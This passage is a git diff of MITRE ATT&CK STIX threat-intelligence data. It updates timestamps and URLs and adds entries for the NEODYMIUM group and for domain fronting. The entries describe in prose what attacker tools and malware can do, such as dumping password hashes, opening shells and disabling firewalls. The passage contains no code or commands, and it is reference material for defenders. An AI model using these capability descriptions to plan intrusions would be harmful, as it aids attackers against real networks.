             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to find information about the operating system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -55126,7 +65584,7 @@
             "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to find files and directories with native functionality such as <code>dir</code> commands.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -55147,7 +65605,7 @@
             "id": "relationship--fb60b027-facd-4be2-b8b2-0fb9351ea235",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd is used to execute programs and other actions at the command-line interface.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -55168,7 +65626,7 @@
             "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to delete files from the file system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -55189,7 +65647,7 @@
             "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to copy files to a remotely connected system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
@@ -55210,7 +65668,7 @@
             "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "dsquery can be used to gather information on user accounts within a domain.",
             "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
@@ -55231,7 +65689,7 @@
             "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "dsquery can be used to gather information on permission groups within a domain.",
             "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
@@ -55252,7 +65710,7 @@
             "id": "relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The gh0st RAT has a keylogger.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -55273,7 +65731,7 @@
             "id": "relationship--af883d09-3f26-4267-9081-4783447e3283",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to delete files.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -55294,7 +65752,7 @@
             "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to list processes.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -55315,7 +65773,7 @@
             "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to open a command shell.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -55336,7 +65794,7 @@
             "id": "relationship--ad696f42-0631-43fb-893b-a5616f14f93f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gh0st RAT is able to wipe event logs.",
             "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
@@ -55357,7 +65815,7 @@
             "id": "relationship--108a1655-faba-4016-a276-c224665cb5c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gsecdump can dump Windows password hashes and LSA secrets.",
             "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
@@ -55369,7 +65827,7 @@
                 {
                     "source_name": "TrueSec Gsecdump",
                     "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
-                    "url": "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5"
+                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
                 }
             ]
         },
@@ -55378,7 +65836,7 @@
             "id": "relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "hcdLoader provides command-line access to the compromised system.",
             "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
@@ -55399,7 +65857,7 @@
             "id": "relationship--8d976244-6d4e-443a-98c0-52fe1d94c388",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "hcdLoader installs itself as a service for persistence.",
             "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
@@ -55425,7 +65883,7 @@
             "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient uses HTTP for command and control.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
@@ -55446,7 +65904,7 @@
             "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient encrypts C2 content with XOR using a single byte, 0x12.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
@@ -55467,7 +65925,7 @@
             "id": "relationship--ae370b88-fd93-4803-a154-aa3debf2327b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "httpclient opens cmd.exe on the victim.",
             "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
@@ -55488,7 +65946,7 @@
             "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ifconfig can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.",
             "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
@@ -55502,7 +65960,7 @@
             "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",
             "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
@@ -55511,12 +65969,26 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.",
+            "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "nbtstat can be used to discover local NetBIOS domain names.",
             "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
@@ -55530,7 +66002,7 @@
             "id": "relationship--980e4dca-4d6b-4206-9c51-bff32c72a961",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "nbtstat can be used to discover current NetBIOS sessions.",
             "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
@@ -55544,7 +66016,7 @@
             "id": "relationship--512879fe-8433-4c78-9345-009ed5168078",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to disable local firewall settings.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -55570,7 +66042,7 @@
             "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to discover system firewall settings.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -55596,7 +66068,7 @@
             "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used to set up a proxy tunnel to allow remote host access to an infected host.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -55608,7 +66080,7 @@
                 {
                     "source_name": "Securelist fileless attacks Feb 2017",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. Retrieved February 8, 2017.",
-                    "url": "https://securelist.com/blog/research/77403/fileless-attacks-against-enterprise-networks/"
+                    "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/"
                 }
             ]
         },
@@ -55617,7 +66089,7 @@
             "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
@@ -55638,7 +66110,7 @@
             "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netstat can be used to enumerate local network connections, including active TCP connections and other network statistics.",
             "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
@@ -55659,7 +66131,7 @@
             "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pngdowner uses HTTP for command and control.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
@@ -55680,7 +66152,7 @@
             "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If an initial connectivity check fails, pngdowner attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
@@ -55701,7 +66173,7 @@
             "id": "relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pngdowner deletes content from C2 communications that was saved to the user's temporary directory.",
             "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
@@ -55722,7 +66194,7 @@
             "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pwdump can be used to dump credentials.",
             "source_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
@@ -55743,7 +66215,7 @@
             "id": "relationship--c954a1f5-c925-4c5c-ad64-62545dfbe383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "route can be used to discover routing configuration information.",
             "source_ref": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
@@ -55757,7 +66229,7 @@
             "id": "relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "schtasks is used to schedule tasks on a Windows system to run at a specific date and time.",
             "source_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
@@ -55778,7 +66250,7 @@
             "id": "relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "xCmd can be used to execute binaries on remote systems by creating and starting a service.",
             "source_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
diff --git a/enterprise-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json b/enterprise-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
index 919e9d7bfc..241d3e479c 100644
--- a/enterprise-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
+++ b/enterprise-attack/identity/identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--070e4238-147c-4be8-80d4-179a9f89b69d",
+    "id": "bundle--fc40bcab-1312-42ac-b666-e55190e05153",
     "spec_version": "2.0",
     "objects": [
         {
diff --git a/enterprise-attack/intrusion-set/intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653.json b/enterprise-attack/intrusion-set/intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653.json
new file mode 100644
index 0000000000..4b6a9f5b9a
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653.json
@@ -0,0 +1,39 @@
+{
+    "type": "bundle",
+    "id": "bundle--e3da3613-7db6-4734-b103-81dd9598c8cc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "NEODYMIUM",
+            "description": "is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called  due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+            "aliases": [
+                "NEODYMIUM"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0055",
+                    "external_id": "G0055"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json b/enterprise-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
index 23a9e4f54d..23a4e706e7 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b7e42d0-b159-468f-9da7-89730d5e2209",
+    "id": "bundle--8326d85e-46e8-446f-b353-d4d7fe7e5029",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT17",
             "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9.json b/enterprise-attack/intrusion-set/intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9.json
index 01add12270..ae5007a8b1 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91895c16-832b-488c-ad6f-f442a10b08a4",
+    "id": "bundle--3c660ae5-5b69-4fcd-8d1a-046d802987a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:55.853Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT3",
-            "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)",
+            "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)",
             "aliases": [
                 "APT3",
                 "Gothic Panda",
@@ -45,6 +45,11 @@
                     "source_name": "Symantec Buckeye",
                     "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                     "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f.json b/enterprise-attack/intrusion-set/intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f.json
index 2cbf14fc13..28df2ae767 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc270f21-3710-4e21-9b3a-f5f20b542ee4",
+    "id": "bundle--40edd04f-cdf9-406a-bf43-daf3b01df166",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:05.611Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GCMAN",
             "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)",
             "aliases": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Securelist GCMAN",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
-                    "url": "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
+                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756.json b/enterprise-attack/intrusion-set/intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756.json
index 41be32127a..cb54669805 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81719b6f-21bc-4cd0-9d77-adedecea2a03",
+    "id": "bundle--299a5209-6e11-4b8d-9d72-545693eee406",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:53.579Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "admin@338",
             "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0.json b/enterprise-attack/intrusion-set/intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0.json
index d52206d782..54b9ffdd22 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ce0ce0ca-de0d-421e-aa26-1277a1c6c1e4",
+    "id": "bundle--03b88b3a-be6b-449a-a27d-c586e744f294",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.145Z",
